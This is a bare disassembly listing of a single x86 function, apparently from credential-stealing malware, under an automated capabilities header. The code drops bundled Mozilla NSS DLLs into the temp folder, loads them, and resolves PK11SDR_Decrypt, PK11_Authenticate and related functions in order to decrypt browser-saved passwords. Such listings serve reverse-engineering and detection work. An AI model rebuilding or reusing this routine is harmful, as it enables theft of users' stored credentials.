Function at 0x40b165
Capabilities:
Check if file exists
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe34
lea eax, [ebp - 0xe30]
push ebx
push esi
push edi
mov edi, 0x104
xor esi, esi
push edi
push esi
push eax
mov ebx, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0xe30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [ebp + 0xc], 1
jne 0x40b57d
cmp dword [ebx + 0xb8], esi
je 0x40b1d7
cmp dword [ebx + 0xac], esi
je 0x40b1d7
cmp dword [ebx + 0xb0], esi
je 0x40b1d7
cmp dword [ebx + 0xbc], esi
je 0x40b1d7
cmp dword [ebx + 0xa4], esi
je 0x40b1d7
cmp dword [ebx + 0xb4], esi
jne 0x40b57d
mov ecx, dword [0x426864]
lea eax, [ebp - 0x1c]
push 5
push dword [ecx + 8]
mov ecx, dword [ecx + 4]
push eax
call fcn.00415847
cmp dword [ebp - 0x18], esi
jne 0x40b200
lea ecx, [ebp - 0x1c]
call fcn.00403148
jmp 0x40b86c
mov edi, pe_nt_image_headers32
lea eax, [ebp - 0xa28]
push edi
push esi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x428]
push edi
push esi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x828]
push edi
push esi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x628]
push edi
push esi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0xc28]
push edi
push esi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x228]
push edi
push esi
push eax
call fcn.00401052
add esp, 0xc
mov esi, 0x519d0
push esi
call fcn.00401085
mov dword [ebp - 0xc], eax
mov dword [esp], 0x217d0
call fcn.00401085
mov dword [ebp - 8], eax
mov dword [esp], 0x6b738
call fcn.00401085
mov dword [ebp + 0xc], eax
mov dword [esp], 0x1303d0
call fcn.00401085
mov edi, eax
mov dword [esp], 0x235d0
mov dword [ebp - 0x14], edi
call fcn.00401085
mov dword [ebp - 0x10], eax
mov dword [esp], 0x14748
call fcn.00401085
pop ecx
push esi
mov esi, dword [ebp - 0x1c]
push esi
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call fcn.0040102c
add esp, 0xc
lea ecx, [esi + 0x519d0]
push 0x217d0
push ecx
push dword [ebp - 8]
call fcn.0040102c
add esp, 0xc
lea eax, [esi + 0x731a0]
push 0x6b738
push eax
push dword [ebp + 0xc]
call fcn.0040102c
add esp, 0xc
lea eax, [esi + 0xde8d8]
push 0x1303d0
push eax
push edi
call fcn.0040102c
add esp, 0xc
lea eax, [esi + 0x20eca8]
push 0x235d0
push eax
push dword [ebp - 0x10]
call fcn.0040102c
add esp, 0xc
lea eax, [esi + 0x232278]
push 0x14748
push eax
push dword [ebp - 4]
call fcn.0040102c
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x228]
add esp, 0xc
push eax
push pe_nt_image_headers32
call edi
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x228]
push str.softokn3.dll
push eax
call esi
lea eax, [ebp - 0x428]
push eax
push pe_nt_image_headers32
call edi
push str.msvcp140.dll
lea eax, [ebp - 0x428]
push eax
call esi
lea eax, [ebp - 0x828]
push eax
push pe_nt_image_headers32
call edi
push str.mozglue.dll
lea eax, [ebp - 0x828]
push eax
call esi
lea eax, [ebp - 0x628]
push eax
push pe_nt_image_headers32
call edi
push str.vcruntime140.dll
lea eax, [ebp - 0x628]
push eax
call esi
lea eax, [ebp - 0xc28]
push eax
push pe_nt_image_headers32
call edi
push str.freebl3.dll
lea eax, [ebp - 0xc28]
push eax
call esi
lea eax, [ebp - 0xa28]
push eax
push pe_nt_image_headers32
call edi
push str.nss3.dll
lea eax, [ebp - 0xa28]
push eax
call esi
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x40b508
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x40b508
cmp dword [ebp - 8], 0
je 0x40b508
cmp dword [ebp - 4], 0
je 0x40b508
mov edi, dword [ebp - 0xc]
test edi, edi
je 0x40b508
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x40b508
cmp byte [edx], 0x4d
push 0x5a
pop eax
jne 0x40b46d
cmp byte [edx + 1], al
jne 0x40b46d
push 0x235d0
lea ecx, [ebp - 0x228]
call fcn.004133f9
pop ecx
mov ecx, dword [ebp + 0xc]
push 0x5a
pop eax
cmp byte [ecx], 0x4d
jne 0x40b48a
cmp byte [ecx + 1], al
jne 0x40b48a
mov edx, ecx
lea ecx, [ebp - 0x428]
push 0x6b738
call fcn.004133f9
pop ecx
mov eax, dword [ebp - 8]
cmp byte [eax], 0x4d
jne 0x40b4ab
cmp byte [eax + 1], 0x5a
jne 0x40b4ab
push 0x217d0
mov edx, eax
lea ecx, [ebp - 0x828]
call fcn.004133f9
pop ecx
mov eax, dword [ebp - 4]
cmp byte [eax], 0x4d
jne 0x40b4cc
cmp byte [eax + 1], 0x5a
jne 0x40b4cc
push 0x14748
mov edx, eax
lea ecx, [ebp - 0x628]
call fcn.004133f9
pop ecx
cmp byte [edi], 0x4d
jne 0x40b4ea
cmp byte [edi + 1], 0x5a
jne 0x40b4ea
push 0x519d0
mov edx, edi
lea ecx, [ebp - 0xc28]
call fcn.004133f9
pop ecx
cmp byte [esi], 0x4d
jne 0x40b508
cmp byte [esi + 1], 0x5a
jne 0x40b508
push 0x1303d0
mov edx, esi
lea ecx, [ebp - 0xa28]
call fcn.004133f9
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x428]
push eax
call esi
mov dword [ebx + 0xac], eax
lea eax, [ebp - 0x628]
push eax
call esi
mov dword [ebx + 0xbc], eax
lea eax, [ebp - 0x828]
push eax
call esi
mov dword [ebx + 0xb0], eax
lea eax, [ebp - 0xa28]
push eax
call esi
mov dword [ebx + 0xb4], eax
lea eax, [ebp - 0x228]
push eax
call esi
mov dword [ebx + 0xb8], eax
lea eax, [ebp - 0xc28]
push eax
call esi
push 0x64
mov dword [ebx + 0xa4], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x1c]
call fcn.00403148
jmp 0x40b79b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x4176a4
lea ecx, [ebp + 8]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040373f
push str.nss3.dll
lea ecx, [ebp - 0x10]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 8]
call fcn.0040373f
push str.msvcr120.dll
lea ecx, [ebp - 8]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 4]
call fcn.0040373f
push str.msvcp120.dll
lea ecx, [ebp - 4]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040373f
push str.mozglue.dll
lea ecx, [ebp - 0xc]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x14]
call fcn.0040373f
push str.softokn3.dll
lea ecx, [ebp - 0x14]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040373f
push str.vcruntime140.dll
lea ecx, [ebp - 0x18]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040373f
push str.msvcp
lea ecx, [ebp - 0x28]
call fcn.0040357c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040373f
push str.msvcr
lea ecx, [ebp - 0x24]
call fcn.0040357c
push 0x5a
pop eax
mov dword [ebp - 0x20], eax
mov edi, eax
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp + 0xc]
call fcn.0040373f
push 0x418718
push edi
lea ecx, [ebp + 0xc]
call fcn.00403384
mov ecx, eax
call fcn.0040357c
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b6a9
mov ecx, dword [ebp + 0xc]
add edi, 0xa
call fcn.00405feb
mov dword [ebp + 0xc], esi
cmp edi, 0x96
jne 0x40b663
jmp 0x40b6bd
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 4]
call fcn.00403549
mov ecx, dword [ebp + 0xc]
call fcn.00405feb
push 0x5a
pop edi
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp + 0xc]
call fcn.0040373f
push 0x418718
push edi
lea ecx, [ebp + 0xc]
call fcn.00403384
mov ecx, eax
call fcn.0040357c
push dword [ebp + 0xc]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b70a
mov ecx, dword [ebp + 0xc]
add dword [ebp - 0x20], 0xa
call fcn.00405feb
mov edi, dword [ebp - 0x20]
mov dword [ebp + 0xc], esi
cmp edi, 0x96
jne 0x40b6c0
jmp 0x40b71e
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
call fcn.00403549
mov ecx, dword [ebp + 0xc]
call fcn.00405feb
push dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call esi
push dword [ebp - 8]
mov dword [ebx + 0xbc], eax
call esi
push dword [ebp - 4]
mov dword [ebx + 0xa8], eax
call esi
push dword [ebp - 0xc]
mov dword [ebx + 0xac], eax
call esi
push dword [ebp - 0x10]
mov dword [ebx + 0xb0], eax
call esi
mov ecx, dword [ebp - 0x24]
mov dword [ebx + 0xb4], eax
call fcn.00405feb
mov ecx, dword [ebp - 0x28]
call fcn.00405feb
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
mov ecx, dword [ebp - 0xc]
call fcn.00405feb
mov ecx, dword [ebp - 4]
call fcn.00405feb
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov ecx, dword [ebp - 0x10]
call fcn.00405feb
mov ecx, dword [ebx + 0xb4]
test ecx, ecx
jne 0x40b7ac
xor esi, esi
jmp 0x40b86c
push ecx
mov edx, str.NSS_Init
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.PK11_GetInternalKeySlot
mov dword [ebx + 0x68], eax
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.PK11_Authenticate
mov dword [ebx + 0x80], eax
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.PK11SDR_Decrypt
mov dword [ebx + 0x7c], eax
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.NSSBase64_DecodeBuffer
mov dword [ebx + 0x70], eax
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.PK11_CheckUserPassword
mov dword [ebx + 0x74], eax
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.NSS_Shutdown
mov dword [ebx + 0x78], eax
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.PK11_FreeSlot
mov dword [ebx + 0x6c], eax
call fcn.00411e88
mov ecx, dword [ebx + 0xb4]
mov edx, str.PR_GetError
mov dword [ebx + 0x84], eax
call fcn.00411e88
mov dword [ebx + 0x88], eax
lea eax, [ebp - 0xe30]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor esi, esi
inc esi
mov ecx, dword [ebp + 8]
call fcn.00405feb
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8